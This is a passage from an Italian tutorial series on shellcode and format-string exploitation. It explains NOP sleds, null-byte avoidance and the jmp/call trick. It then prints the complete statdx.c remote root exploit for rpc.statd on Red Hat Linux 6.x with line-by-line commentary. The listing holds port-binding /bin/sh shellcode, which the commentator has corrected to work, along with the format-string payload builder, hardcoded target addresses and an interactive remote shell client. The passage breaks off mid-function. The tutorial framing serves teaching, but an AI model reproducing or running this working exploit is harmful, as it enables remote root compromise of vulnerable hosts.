"ostacoli" che si frappongono | | tra noi ed un codice eseguibile (ed eseguito) sulla macchina target. | | | | Innanzi tutto, sembra banale ma vi assicuro che non lo e', poiche' il | | codice iniettato attraverso dei dati in ingressso viene giocoforza | | memorizzato sullo stack, l'architettura del sistema operativo della | | macchina target deve ammettere la possibilita' di eseguire del codice | | presente, appunto, sullo stack. Fortunatamente questa caratteristica e' | | abbastanza diffusa; sia i sistemi Linux che quelli Windows ammettono | | questa possibilita', per cui alla fine questo non e' un vero ostacolo. | | E' bene considerare, pero', che esistono delle architetture di sistema | | che mantengono lo stack in una zona di memoria gestita in modo | | particolare, sostanzialmente vietandone la possibilita' di contenere del | | codice eseguibile; in questi casi decade automaticamente la possibilita' | | di iniettare lo shellcode nello stack e tutto si complica terribilmente | | (e per questo motivo non lo tratteremo in questa sede). | | | | In seconda battuta, a meno di non conoscere ESATTAMENTE l'indirizzo al | | quale si saltera' nella esecuzione del programma (e' vero che l'esempio | | degli articoli precedenti permetteva di determinare con esattezza questo | | valore, ma esistono altre tecniche che non sono cosi' "precise" e che | | permettono di saltare "vicino" ad un indirizzo), sara' necessario | | prevedere la possibilita' di avere uno shellcode posizionato "in un | | intorno" di un daterminato indirizzo. Questo problema si risolve | | abbastanza facilmente, facendo precedere lo shellcode vero e proprio da | | una lista di istruzioni "NOP" (No OPeration) che funzionano un po' come | | dei "riempitivi" per quelle aree di memoria che si frappongono tra | | l'indirizzo al quale si e' effettivamente saltati nella esecuzione e lo | | shellcode vero e proprio. E' questa una tecnica abbastanza diffusa e di | | buona regola nella preparazione di qualsiasi shellcode. | | | | | | 5.2. esecuzione dello shellcode | | | | Cominciamo adesso con i problemi "VERI"... (fin qui si era scherzato ;) | | | | Poiche' lo shellcode trova posto in una stringa ASCII (e' questo l'unico | | tipo di dato che possiamo passare al nostro programma... sic) NON | | SARANNO AMMESSI VALORI DI BYTE UGUALI A ZERO, pena il troncamento della | | stringa stessa (lo zero, ricordo, viene interpretato dalle funzioni del | | "C" come terminatore di stringa) e conseguente perdita dei valori | | successivi allo zero in questione. E' questo un problema effettivamente | | presente, soprattutto se consideriamo che il valore zero viene spesso | | usato per inizializzare in maniera opportuna eventuali variabili, o | | addirittura viene passato come valore per molti parametri di funzione... | | pertanto si dovra' provvedere a trovare dei metodi alternativi alla | | classica istruzione assembler di "Move 0,destinazione" per azzerare | | eventuali variabili o registri. Per fortuna l'assembler ha una | | meravigliosa istruzione di "eXclusive OR" che implementa appunto la | | tabella di verita' XOR. Come sappiamo bene, una delle interessanti | | caratteristiche di questa funzione booleana e' quella di azzerare una | | variabile messa in XOR con se stessa, per cui invece di una | | | | MOV 0,dest | | | | possiamo, per azzerare, utilizzare una | | | | XOR dest,dest | | | | ottenendo lo stesso risultato. | | | | Nell'assembler della architettura Intel esistono diverse istruzioni xor, | | a seconda della lunghezza in byte della variabile da trattare, ma | | sostanzialmente le cose non cambiano. | | | | | | Ultimo problema, non meno banale: la cosiddetta "rilocabilita'" dello | | shellcode. | | | | Cosa significa "rilocabilita'"? Sostanzialmente il fatto che lo | | shellcode dovrebbe essere il piu' possibile (per non dire totalmente) | | indipendente dall'indirizzo al quale viene memorizzato; ogni riferimento | | dovrebbe essere fatto attraverso indirizzamenti indiretti. Purtroppo non | | sempre questo e' possibile... esistono dei casi (uno fra tutti il | | passaggio di un indirizzo di struttura ad una funzione che lo necessiti) | | in cui non e' possibile effettuare una vallorizzazione indiretta. Come | | fare, allora? | | | | Eh, beh, qui devo dire che e' stato fatto un mezzo capolavoro ;) | | Sostanzialmente, si sfrutta la capacita' dell'istruzione JSR (chiamata a | | subroutine) di memorizzare l'indirizzo di ritorno sullo stack. La | | struttura dati della quale reperire l'indirizzo assoluto viene | | memorizzata al fondo dello shellcode e subito prima di questa vi e' una | | serie di istruzioni che ci permettono di ottenere tale indirizzo. Lo | | shellcode avra' pertanto la seguente struttura: | | | | shellcode: jmp find_addr | | go_on: pop ax | | . | | . | | . | | find_addr: jsr go_on | | dati: ... | | | | Banale, no? ;) ;) ;) | | | | Scherzi a parte, con queste pochissime istruzioni si e' ottenuto quello | | che volevamo. | | | | Analizziamole insieme: | | | | l'istruzione all'indirizzo "shellcode" esegue un salto incondizionato | | all'indirizzo find_addr (ricordo che l'indirizzamento in questo tipo di | | istruzioni puo' venire eseguito indirettamente, per cui non vi sono | | problemi ad eseguirli in maniera indipendente da dove le istruzioni | | siano memorizzate). A tale indirizzo troviamo una chiamata a subroutine | | che salta all'indirizzo go_on ma METTE SULLO STACK L'INDIRIZZO DI | | "dati". La prima istruzione all'indirizzo go_on e' una "popl %ecx " che | | MEMORIZZA L'INDIRIZZO DI "dati" NEL REGISTRO ECX!!! Da qui in poi tutti | | i conteggi possono essere fatti sulla base del valore di riferimento | | contenuto in ecx!!! Mica male, vero? Certo, per i "puristi", resta | | "scoperto" un livello di framebuffer (ossia c'e' una chiamata che | | rischierebbe di non venire correttamente completata) ma si tratta, come | | vedremo, di un problema relativo, poiche' l'esecuzione non raggiungera' | | piu' una istruzione di "return" relativa a questa chiamata... | | | | Bene, adesso disponiamo effettivamente di tutti gli strumenti necessari | | per analizzare e comprendere appieno la sottile bellezza dell'exploit | | statdx, elemento "scatenante" di tutta questa serie di articoli e degno | | conclusore della stessa. Vi lascio al listato dell'exploit, commentato | | dal sottoscritto nelle sue parti maggiormente significative. | | | | | | | | 6. L'exploit statdx.c - analisi e commenti al listato | | | | | | *********************** inizio del listato ************************ | | | | | | /* commento "on source" dell' exploit rpc.statd */ | | | | | | /** | | *** statdx | | *** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32) | | *** by ron1n | | | | * >>> commented out (and FIXED! :) by xyzzy | | | | * | | * August 3, 2000 | | * Sydney, Australia | | * | | * Oh you prob'ly won't remember me | | * It's prob'ly ancient history | | * I'm one of the chosen few | | * Who went ahead and fell for you | | * | | * $ gcc -o statdx statdx.c ; ./statdx -h | | * | | * Thanks to smiler for the format string vulnerability clarification. | | * | | * background info | | * --------------- | | * rpc.statd is an ONC RPC server that implements the Network Status | | * Monitor RPC protocol to provide reboot notification. It is used by | | * the NFS file locking service (rpc.lockd) when it performs lock | | * recovery. | | | | * >>> ecco qui una breve spiegazione dei compiti di rpc.statd | | | | * | | * Due to a format string vulnerability in a call to syslog() within | | * its logging module, rpc.statd can be exploited remotely by script | | * kids bent on breaking into your Redhat Linux box and defacing your | | * website with crackpot political musings. | | | | | | * >>> ..gia', gia'.. un controllo di input non completamente efficace | | * >>> fa si' che il demone possa venire "exploitato" e permetta quindi | | * >>> di eseguire del codice fornito dall'attaccante. Tipicamente, si | | * >>> tratta di codice che implementa (come vedremo)un semplice server | | * >>> TCP che restituisce una shell con i privilegi con i quali e' in | | * >>> esecuzione il server rpc.statd stesso (tipicamente quelli di | | * >>> root... piu' che sufficiente, no? ;) | | | | * | | * This is not a traditional buffer overflow vulnerability. The data | | * are kept within the bounds of the buffer by means of a call to | | * vsnprintf(). The saved return address can be overwritten indirectly | | * without a contiguous payload. syslog() is given, for the most part, | | * a user-supplied format string with no process-supplied arguments. | | | | * >>> ecco qui la spiegazione tecnica: non si tratta di un "buffer | | * >>> overflow" tradizionale. La lunghezza del buffer passato viene | | * >>> mantenuta entro i limiti attraverso una chiamata alla funzione | | * >>> vsnprintf. Peccato che l'indirizzo di ritorno possa venire | | * >>> sovrascritto indirettamente attraverso un formato ben preciso | | * >>> della stringa passata. | | | | * Our format string will, if carefully constructed, cause the process | | * to cull non-arbitrary addresses from the top of the stack for | | * sequential writes using controlled values. Exploitation requires | | * an executable stack on the target host -- almost invariably the | | * case. This problem was corrected in the nfs-utils-0.1.9.1 rpm. | | | | * >>> ulteriori spiegazioni: la stringa fornita al demone puo', se | | * >>> opportunamente costruita, fare si' che il processo rpc.statd | | * >>> raccolga indirizzi ben precisi dallo stack (che so, ad esempio | | * >>> l'indirizzo di ritorno della routine? ;) e riscriverli con | | * >>> valori ben precisi (che so, l'indirizzo di una routine assembler | | * >>> che e' stata messa nella stringa stessa e della quale si conosce, | | * >>> appunto, l'indirizzo ;).Ovviamente, per funzionare, c'e' bisogno | | * >>> che la zona di memoria che cointiene lo stack sia classificata | | * >>> come "eseguibile"... ma praticamente tutte le versioni di linux | | * >>> la classificano come tale. | | | | * | | * exploit info | | * ------------ | | * You have one shot at this in most situations, so get it right! | | | | * >>> eh, gia'! Un unico tentativo! Se qualcosa va storto la prima | | * >>> volta, addio: i puntatori del buffer cambiano | | | | * | | * If you know the port number rpc.statd is serving requests on, you | | * can supply the port number on the commandline to bypass the initial | | * portmapper query. This is very useful for hosts which are filtering | | * inbound connections to the portmapper. The default attack protocol | | * is UDP. There is a commandline option to use TCP. Apparently, the | | * dispatcher uses both protocols by default. | | | | * >>> ...beh, certo. Se gia' si conosce la porta sulla quale opera il | | * >>>demone,e' tutto lavoro guadagnato (e soprattutto, come ricordato | | * >>> giustamente anche dall'autore, si possono aggirare le eventuali | | * >>> barriere che un firewall potrebbe avere costruito per regolare | | * >>> l'accesso al portmapper, il demone che fornisce indicazioni | | * >>> sulle porte usate dai vari altri demoni) | | | | | | * | | * If you're only interested in exploiting a host, then you can safely | | * skip the following information. You'll only need a buffer address | | * to get started. This buffer address will either be one of my canned | | * ones or your own one. It must be precise, and this is where you're | | * likely to experience difficulties with your attacks. | | * | | * [va_list][str][4][r][4][r+1][4][r+2][4][r+3]-----> | | * | | | | * %esp buffer[1024] | | * | | * [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]---> | | * | r | r+1 | r+2 | r+3 | | | * | | * buffer-> This is the address you'll need (-a and -l options) | | * str -> Process-supplied string; 24 bytes long | | * 4 -> Duplicate dwords to satisfy the %!d specifiers and | | * the double %n when two successive values are equal | | * r -> Stack position of saved eip | | * %8x.. -> Wipes the va_list dword and str; 9 by default (-w option) | | * %!x -> Used for padding to form an aggregate overwrite value; | | * the exclamation mark denotes a field width. This may | | * or may not be present, depending on the value. An | | * algorithm is used to allow tricky values. | | * %n -> Writes overwrite value to the corresponding address | | * sc -> Nops + portbinding shellcode (port 39168) | | * | | * Only modify the default wipe value and the default offset value | | * if you know what you're doing. | | | | * >>> ecco qui, condensata in poche righe, l'essenza dell'exploit. In | | * >>> sostanza, si utilizza il formato %n previsto dalla printf (e | | * >>> dalla sua variante vsnprintf richiamata dalla syslog) per | | * >>> sovrascrivere gli indirizzi di ritorno della routine e farli | | * >>> "puntare" al codice fornito all'interno dello stesso buffer che | | * >>> si vuole stampare. Per ottenere i corretti valori da scrivere si | | * >>> utilizza la tecnica della formattazione dell'output utilizzando | | * >>> un formato del tipo %!x, dove il carattere "!" rappresenta il | | * >>> numero di caratteri che si vuole scrivere ed e' estremamente | | * >>> importante poiche' condiziona il valore che si andra' a scrivere | | * >>> successivamente. | | | | * | | * An easy way to get the buffer address for simulation systems that you | | * have privileged access to: | | * | | * [term 1]# ltrace -p `pidof rpc.statd` -o foo | | * [term 2]$ ./statdx -a 0x41414141 localhost | | * [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \ | | * awk -F"," '{print $1}' | | | | * >>> effettivamente se si ha la possibilita' di accedere ad un sistema | | * >>> in maniera privilegiata, questo e' un buon modo per determinare | | * >>> l'indirizzo del buffer. | | | | * | | *(Of course,ensure that rpc.statd is started at boot time and not from | | * an interactive shell, otherwise it will inherit a larger environment | | * and blow the accuracy of your findings.) | | | | | | * >>> superfluo?puo' darsi.ma poiche "repetita juvant" ancora una | | * >>> volta e' bene ricordare che tutto quanto funziona se e solo se il | | * >>> demone rpc.statd e' stato lanciato dall'opportuno script al boot | | * >>> del sistema,altrimenti l'indirizzo del buffer sara' certamente | | * >>> diverso a causa (come segnalato dall'autore) del maggiore spazio | | * >>> in memoria dedicato alle variabili di ambiente ereditate dal | | * >>> processo. | | * | | * Ok, longwinded enough. Let's dance. | | | | D'accordo! Tutti in pista! ;) | | | | * | | * greets | | * ------ | | * ADM, attrition, rogues, security.is, teso | | * | | / | | | | | | | | /** >>>varie include e definizioni(per rendere la vita piu' facile) */ | | | | | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | | | #define SM_PROG 100024 | | #define SM_VERS 1 | | #define SM_STAT 1 | | #define SM_MAXSTRLEN 1024 | | | | #define max(a,b) ((a)>(b)?(a):(b)) | | | | #define NOP 0x90 | | | | | | /** | | * | | * >>> ecco il "cuore" dell'exploit: lo shellcode! Quell'insieme di | | * >>> istruzioni assembler che, una volta in esecuzione, attivano | | * >>> in qualche modo la possibilita' di "controllare" il sistema | | * >>> attaccato; in questo caso, si attiva una shell in ascolto | | * >>> sulla porta 39168. La tecnica usata e' simile a quella dei | | * >>> buffer overflow tradizionali | | * | | **/ | | | | | | /* | | ** Non-ripped linux IA32 portbinding shellcode. | | ** port: 39168 ; length: 133 bytes | | */ | | | | char shellcode[] = | | "\x31\xc0" /* xorl %eax,%eax */ | | /* jmp ricochet ------------------------------------------------ */ | | "\xeb\x7c" /* jmp 0x7c */ | | /* kungfu: ----------------------------------------------------- */ | | "\x59" /* popl %ecx */ | | "\x89\x41\x10" /* movl %eax,0x10(%ecx) */ | | /* ----------------------------- socket(2,1,0); ---------------- */ | | "\x89\x41\x08" /* movl %eax,0x8(%ecx) */ | | "\xfe\xc0" /* incb %al */ | | "\x89\x41\x04" /* movl %eax,0x4(%ecx) */ | | "\x89\xc3" /* movl %eax,%ebx */ | | "\xfe\xc0" /* incb %al */ | | "\x89\x01" /* movl %eax,(%ecx) */ | | "\xb0\x66" /* movb $0x66,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ----------------------------- bind(sd,&sockaddr,16); -------- */ | | "\xb3\x02" /* movb $0x2,%bl */ | | "\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */ | | "\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */ | | "\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */ | | "\x89\x49\x04" /* movl %ecx,0x4(%ecx) */ | | "\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */ | | "\x88\x01" /* movb %al,(%ecx) */ | | "\xb0\x66" /* movb $0x66,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ----------------------------- listen(sd,blah); -------------- */ | | "\xb3\x04" /* movb $0x4,%bl */ | | "\xb0\x66" /* movb $0x66,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ----------------------------- accept(sd,0,16); -------------- */ | | "\xb3\x05" /* movb $0x5,%bl */ | | /** | | *** | | *** >>> A T T E N Z I O N E ! ! ! ! | | *** >>> ecco il problema!!! Le due istruzioni successive sono state | | *** >>> commentate e sostituite con le altre due per permettere una | | *** >>> corretta esecuzione dello shellcode. Nel capitolo successivo | | *** >>> verranno date tutte le spiegazioni del caso | | *** | | **/ | | /* "\x30\xc0" xorb %al,%al */ | | /* "\x88\x41\x04" movb %al,0x4(%ecx) */ | | /** | | *** | | *** >>> queste sono le nuove istruzioni inserite in sostituzione | | *** | | **/ | | "\x31\xc0" /* xorl %eax,%eax */ | | "\x89\x41\x04" /* movl %eax,0x4(%ecx) */ | | /** | | *** | | *** >>> ok, si puo' proseguire ;) | | *** | | **/ | | "\xb0\x66" /* movb $0x66,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ------------------------------- dup2(cd,0); ------------------- */ | | "\x89\xce" /* movl %ecx,%esi */ | | "\x88\xc3" /* movb %al,%bl */ | | "\x31\xc9" /* xorl %ecx,%ecx */ | | "\xb0\x3f" /* movb $0x3f,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ------------------------------- dup2(cd,1); ------------------- */ | | "\xfe\xc1" /* incb %cl */ | | "\xb0\x3f" /* movb $0x3f,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ------------------------------- dup2(cd,2); ------------------- */ | | "\xfe\xc1" /* incb %cl */ | | "\xb0\x3f" /* movb $0x3f,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ------------------------------- execve("/bin/sh",argv,0); ----- */ | | "\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */ | | "\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */ | | "\x30\xc0" /* xorb %al,%al */ | | "\x88\x46\x07" /* movb %al,0x7(%esi) */ | | "\x89\x76\x0c" /* movl %esi,0xc(%esi) */ | | "\x8d\x56\x10" /* leal 0x10(%esi),%edx */ | | "\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */ | | "\x89\xf3" /* movl %esi,%ebx */ | | "\xb0\x0b" /* movb $0xb,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ------------------------------- exit(blah); ------------------- */ | | "\xb0\x01" /* movb $0x1,%al */ | | "\xcd\x80" /* int $0x80 */ | | /* ricochet: call kungfu ----------------------------------------- */ | | "\xe8\x7f\xff\xff\xff"; /* call -0x81 */ | | | | | | /** | | *** | | *** >>> dichiarazione di variabili di lavoro | | *** | | **/ | | | | | | enum res | | { | | stat_succ, | | stat_fail | | }; | | | | struct sm_name | | { | | char *mon_name; | | }; | | | | struct sm_stat_res | | { | | enum res res_stat; | | int state; | | }; | | | | struct type | | { | | int type; | | char *desc; | | char *code; | | u_long bufpos; | | int buflen; | | int offset; | | int wipe; | | }; | | | | struct type types[] = | | { | | {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, | | 0xbffff314, 1024, 600, 9}, | | {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, | | 0xbffff314, 1024, 600, 9}, | | {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, | | 0xbffff314, 1024, 600, 9}, | | {0, NULL, NULL, 0, 0, 0, 0} | | }; | | | | /** | | *** | | *** >>> routine di utilita' per valorizzare correttamente le chiamate | | *** >>> di collegamento UDP | | *** | | **/ | | | | | | bool_t | | xdr_sm_name(XDR *xdrs, struct sm_name *objp) | | { | | if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN)) | | return (FALSE); | | return (TRUE); | | } | | | | bool_t | | xdr_res(XDR *xdrs, enum res *objp) | | { | | if (!xdr_enum(xdrs, (enum_t *)objp)) | | return (FALSE); | | return (TRUE); | | } | | | | bool_t | | xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp) | | { | | if (!xdr_res(xdrs, &objp->res_stat)) | | return (FALSE); | | if (!xdr_int(xdrs, &objp->state)) | | return (FALSE); | | return (TRUE); | | } | | | | | | /** | | *** | | *** >>> come ogni software che si rispetti, una bella "help page" | | *** >>> che descriva l'utilizzo non fa mai male... ;) | | *** | | **/ | | | | | | void | | usage(char *app) | | { | | int i; | | | | fprintf(stderr, "statdx by ron1n \n"); | | fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app); | | fprintf(stderr, "\t[-o offset] [-w num] [-s secs] | | [-d type] \n"); | | fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n"); | | fprintf(stderr, "-p\trpc.statd serves requests on [query]\n"); | | fprintf(stderr, "-a\tthe stack address of the buffer is \n"); | | fprintf(stderr, "-l\tthe length of the buffer is [1024]\n"); | | fprintf(stderr, "-o\tthe offset to return to is [600]\n"); | | fprintf(stderr, "-w\tthe number of dwords to wipe is [9]\n"); | | fprintf(stderr, "-s\tset timeout in seconds to [5]\n"); | | fprintf(stderr, "-d\tuse a hardcoded \n"); | | fprintf(stderr, "Available types:\n"); | | | | for(i = 0; types[i].desc; i++) | | fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc); | | | | exit(EXIT_FAILURE); | | } | | | | | | /** | | * | | * >>> ecco qui la routine che, in caso di exploit riuscito, implementa | | * >>> la parte "client" della connessione; tale routine invia sulla | | * >>> connessione realizzata le stringhe che l'attaccante digita sulla | | * >>> tastiera, visualizzando a video i messaggi di ritorno della | | * >>> connessione stessa. Potrebbe anche essere superflua, sostituita | | * >>> da un normale "telnet" sulla porta interessata, ma l'autore ha | | * >>> voluto fare le cose per bene... ;) | | * | | **/ | | | | void | | runshell(int sockd) | | { | | char buff[1024]; | | int fmax, ret; | | fd_set fds; | | | | fmax = max(fileno(stdin), sockd) + 1; | | send(sockd, "cd /; ls -alF; id;\n", 19, 0); | | | | for(;;) | | { | | | | FD_ZERO(&fds); | | FD_SET(fileno(stdin), &fds); | | FD_SET(sockd, &fds); | | | | if(select(fmax, &fds, NULL, NULL, NULL) < 0) | | { | | perror("select()"); | | exit(EXIT_FAILURE); | | } | | | | if(FD_ISSET(sockd, &fds)) | | { | | bzero(buff, sizeof buff); | | if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) | | { | | perror("recv()"); | | exit(EXIT_FAILURE); | | } | | if(!ret) | | { | | fprintf(stderr, "Connection closed\n"); | | exit(EXIT_FAILURE); | | } | | write(fileno(stdout), buff, ret); | | } | | | | if(FD_ISSET(fileno(stdin), &fds)) | | { | | bzero(buff, sizeof buff); | | ret = read(fileno(stdin), buff, sizeof buff); | | errno = 0; | | if(send(sockd, buff, ret, 0) != ret) | | { | | if(errno) perror("send()"); | | else fprintf(stderr, "Transmission loss\n"); | | exit(EXIT_FAILURE); | | } | | } | | } | | } | | | | /** | | *** | | *** >>> tentativo di collegamento TCP sulla porta selezionata (se | | *** >>> non specificato diversamente e' la 39168). In caso di | | *** >>> connessione riuscita, attiva la parte client della | | *** >>> connessione stessa. Insieme alla routine "runshell" vista | | *** >>> in precedenza, puo' essere sostituita da un qualsiasi | | *** >>> "telnet" sulla porta. | | *** | | **/ | | | | | | void | | connection(struct sockaddr_in host) | | { | | int sockd; | | | | host.sin_port = htons(39168); | | | | if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) | | { | | perror("socket()"); | | exit(EXIT_FAILURE); | | } | | | | if(!connect(sockd, (struct sockaddr *) &host, sizeof host)) | | { | | printf("OMG! You now have rpc.statd technique!@#$!\n"); | | runshell(sockd); | | } | | | | close(sockd); | | } | | | | | | /** | | * | | * >>> eccola, la "magia" che compone il buffer in maniera opportuna, | | * >>> a seconda del tipo di sistema che si desidera attaccare; proprio | | * >>> per questo motivo la parametrizzazione e' totale. | | * | | **/ | | | | | | char * | | wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe) | | { | | int i, j, cnt, pad; | | char pbyte, *buff, *ptr; | | u_long retpos; | | u_long dstpos; | | | | | | while(bufpos % 4) bufpos--; | | /* buflen + ebp */ | | retpos = bufpos + buflen + 4; | | | | /*** | | * | | * >>> Ahime', l'indirizzo NON puo' contenere byte che valgano 0x00 | | * >>> oppure 0x24, poiche' tali caratteri "disturberebbero" | | * >>> il corretto comportamento della vsnprintf | | * >>> (il primo tronca prematuramente la stringa, il secondo | | * >>> introdurrebbe una conversione non corretta) | | * | | **/ | | | | | | /* | | ** 0x00 == '\0' | | ** 0x25 == '%' | | ** (add troublesome bytes) | | ** Alignment requirements aid comparisons | | */ | | | | pbyte = retpos & 0xff; | | | | /* Yes, it's 0x24 */ | | if(pbyte == 0x00 || pbyte == 0x24) | | { | | fprintf(stderr, "Target address space contains a poison char\n"); | | exit(EXIT_FAILURE); | | } | | | | /* | | ** Unless the user gives us a psychotic value, | | ** the address should now be clean. | | */ | | | | /* str */ | | cnt = 24; | | /* 1 = process nul */ | | buflen -= cnt + 1; | | | | if(!(buff = malloc(buflen + 1))) | | { | | perror("malloc()"); | | exit(EXIT_FAILURE); | | } | | | | /** | | *** | | *** >>> preparo il buffer: riempio di NOP | | *** | | **/ | | | | | | ptr = buff; | | memset(ptr, NOP, buflen); | | | | /** | | *** | | *** >>> metto gli indirizzi che desidero vengano sovrascritti | | *** | | **/ | | | | | | for(i = 0; i < 4; i++, retpos++) | | { | | /* junk dword */ | | for(j = 0; j < 4; j++) | | *ptr++ = retpos >> j * 8 & 0xff; | | /* r + i */ | | memcpy(ptr, ptr - 4, 4); | | ptr += 4; cnt += 8; | | } | | | | /* restore */ | | retpos -= 4; | | | | /** | | * | | * >>> incomincio le formattazioni per "saltare" le informazioni | | * >>> che non mi interessano (va_list e le stringhe prima del buffer) | | * | | **/ | | | | for(i = 0; i < wipe; i++) | | { | | /* consistent calculations */ | | strncpy(ptr, "%8x", 3); | | ptr += 3; cnt += 8; | | } | | | | /** | | *** | | *** >>> calcolo l'indirizzo di partenza del mio codice | | *** | | **/ | | | | dstpos = bufpos + offset; | | | | /* | | ** This small algorithm of mine can be used | | ** to obtain "difficult" values.. | | */ | | | | | | | | /** | | *** | | *** >>> imposto le formattazioni per ottenere la riscrittura | | *** >>> dell'indirizzo di ritorno con il valore di "dstpos", che | | *** >>> corrisponde all'inizio dello shellcode | | *** | | **/ | | | | | | for(i = 0; i < 4; i++) | | { | | pad = dstpos >> i * 8 & 0xff; | | if(pad == (cnt & 0xff)) | | { | | sprintf(ptr, "%%n%%n"); | | ptr += 4; continue; | | } | | else | | { | | int tmp; | | /* 0xffffffff = display count of 8 */ | | while(pad < cnt || pad % cnt <= 8) pad += 0x100; | | pad -= cnt, cnt += pad; | | /* the source of this evil */ | | tmp = sprintf(ptr, "%%%dx%%n", pad); | | ptr += tmp; | | } | | | | } | | | | | | /** | | *** | | *** >>> carico alla fine del buffer lo shellcode | | *** >>> che implementa la backdoor | | *** | | **/ | | | | *ptr = NOP; | | /* plug in the shellcode */ | | memcpy(buff + buflen - strlen(sc), sc, strlen(sc)); | | buff[buflen] = '\0'; | | | | //* | | *** | | *** >>> visualizzo i valori utilizzati (per controllo) | | *** | | **/ | | | | | | printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff)); | | printf("target: %#lx new: %#lx (offset: %d)\n", | | retpos, dstpos, offset); | | printf("wiping %d dwords\n", wipe); | | return buff; | | } | | | | | | /** | | *** | | *** >>> routine di servizio per la determinazione dell'indirizzo IP | | *** | | **/ | | | | | | struct in_addr | | getip(char *host) | | { | | struct hostent *hs; | | | | if((hs = gethostbyname(host)) == NULL) | | { | | herror("gethostbyname()"); | | exit(EXIT_FAILURE); | | } | | | | return *((struct in_addr *) hs->h_addr); | | } | | | | | | /** | | *** | | *** >>> THE MAIN PROGRAM ITSELF ;) | | *** | | **/ | | | | int | | main(int argc, char **argv) | | { | | int ch; | | char *buff; | | | | CLIENT *clnt; | | enum clnt_stat res; | | struct timeval tv, tvr; | | struct sm_name smname; | | struct sm_stat_res smres; | | struct sockaddr_in addr; | | | | int type = -1; | | int usetcp = 0; | | int timeout = 5; | | int wipe = 9; | | int offset = 600; | | int buflen = 1024; | | char *target; | | char *sc = shellcode; | | u_short port = 0; | | u_long bufpos = 0; | | | | int sockp = RPC_ANYSOCK; | | | | extern char *optarg; | | extern int optind; | | extern int opterr; | | opterr = 0; | | | | /** | | *** | | *** >>> ciclo di gestione delle eventuali opzioni | | *** | | **/ | | | | while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1) | | { | | switch(ch) | | { | | case 't': usetcp = 1; break; | | case 'p': sscanf(optarg, "%hu", &port); break; | | case 'a': sscanf(optarg, "%lx", &bufpos); break; | | case 'l': buflen = atoi(optarg); break; | | case 'o': offset = atoi(optarg); break; | | case 's': timeout = atoi(optarg); break; | | case 'w': wipe = atoi(optarg); break; | | case 'd': type = atoi(optarg); break; | | default : usage(argv[0]); | | } | | } | | | | /** | | *** | | *** >>> controllo che sia stato specificato un host come target | | *** | | **/ | | | | if(!(target = argv[optind])) | | { | | fprintf(stderr, "No target host specified\n"); | | exit(EXIT_FAILURE); | | } | | | | | | /** | | *** | | *** >>> se per caso e' stato specificato un tipo predefinito, | | *** >>> valorizzo le variabili con i valori relativi al tipo scelto | | *** | | **/ | | | | if(type >= 0) | | { | | if(type >= sizeof types / sizeof types[0] - 1) | | { | | fprintf(stderr, "Invalid type\n"); | | exit(EXIT_FAILURE); | | } | | | | sc = types[type].code; | | bufpos = types[type].bufpos; | | buflen = types[type].buflen; | | offset = types[type].offset; | | wipe = types[type].wipe; | | } | | | | if(!bufpos) | | { | | fprintf(stderr, "No buffer address specified\n"); | | exit(EXIT_FAILURE); | | } | | | | bzero(&addr, sizeof addr); | | addr.sin_family = AF_INET; | | addr.sin_port = htons(port); | | addr.sin_addr = getip(target); | | | | tv.tv_sec = timeout; | | tv.tv_usec = 0; | | | | | | /** | | *** | | *** >>> creazione della connessione specifica (TCP o UDP) | | *** >>> sulla base della selezione effettuata | | *** | | **/ | | | | if(!usetcp) | | { | | clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp); | | if(clnt == NULL) | | { | | clnt_pcreateerror("clntudp_create()"); | | exit(EXIT_FAILURE); | | } | | tvr.tv_sec = 2; | | tvr.tv_usec = 0; | | clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr); | | } | | else | | { | | clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0); | | if(clnt == NULL) | | { | | clnt_pcreateerror("clnttcp_create()"); | | exit(EXIT_FAILURE); | | } | | } | | | | /* AUTH_UNIX / AUTH_SYS authentication forgery */ | | clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); | | | | /** | | *** | | *** >>> Preparazione del buffer secondo le regole specificate | | *** | | **/ | | | | buff = wizardry(sc, bufpos, buflen, offset, wipe); | | smname.mon_name = buff; | | | | | | /** | | *** | | *** >>> invio del buffer per tentare l'exploit | | *** | | **/ | | | | res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name, | | (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res, | | (caddr_t) &smres, tv); | | | | | | /** | | *** | | *** >>> controllo dello stato di ritorno dell'operazione; se | | *** >>> fallisce, e' probabile che sul target sia stato attivato | | *** >>> lo shellcode e quindi la backdoor ;) | | *** | | **/ | | | | if(res != RPC_SUCCESS) | | { | | 